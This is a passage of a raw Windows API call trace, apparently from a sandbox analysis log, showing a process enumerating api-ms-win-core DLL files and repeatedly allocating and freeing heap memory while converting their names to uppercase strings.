BaseAddress=0x115c288) returned 1 [0169.462] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.462] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.462] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.462] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-core-libraryloader-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.462] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.462] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0169.462] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x115c120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0169.462] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.462] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.462] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.462] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.462] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.462] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.462] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.462] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0169.462] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x115c288, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0169.462] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.462] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.462] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.462] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.462] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.462] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="")) returned 1 [0169.462] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.462] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0169.463] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0x115c120, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0169.463] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.463] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.463] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.463] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.463] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.463] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-core-localregistry-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.463] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.463] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0169.463] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x115c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0169.463] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.463] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.463] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.463] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.463] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.463] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0eae39, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0eae39, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-core-memory-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.463] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.463] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0169.463] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x115c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0169.463] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.463] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.463] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.463] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.463] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.463] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-core-misc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.463] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.463] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0169.463] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x115c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0169.463] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.464] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.464] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.464] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.464] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.464] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-core-namedpipe-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.464] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.464] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0169.464] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x115c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0169.464] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.464] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.464] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.464] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.464] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.464] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-core-processenvironment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.464] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.464] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0169.464] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0x115c288, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 45 [0169.464] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.464] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.464] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.464] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.464] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.464] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.464] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.464] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0169.464] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0x115c120, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 41 [0169.464] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.464] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.464] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.464] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.465] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.465] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="")) returned 1 [0169.465] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.465] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0169.465] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0x115c288, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", lpUsedDefaultChar=0x0) returned 41 [0169.465] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.465] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.465] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.465] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.465] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.465] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-core-profile-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.465] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.465] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0169.465] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x115c120, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0169.465] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.465] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.465] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.465] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.465] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.465] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-core-rtlsupport-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.465] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.465] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0169.465] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x115c288, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0169.465] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.465] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.465] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.465] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.465] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.465] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1cf673, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1cf673, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-core-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.465] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.465] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0169.466] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.466] WideCharToMultiByte (in: CodePage=0x0, 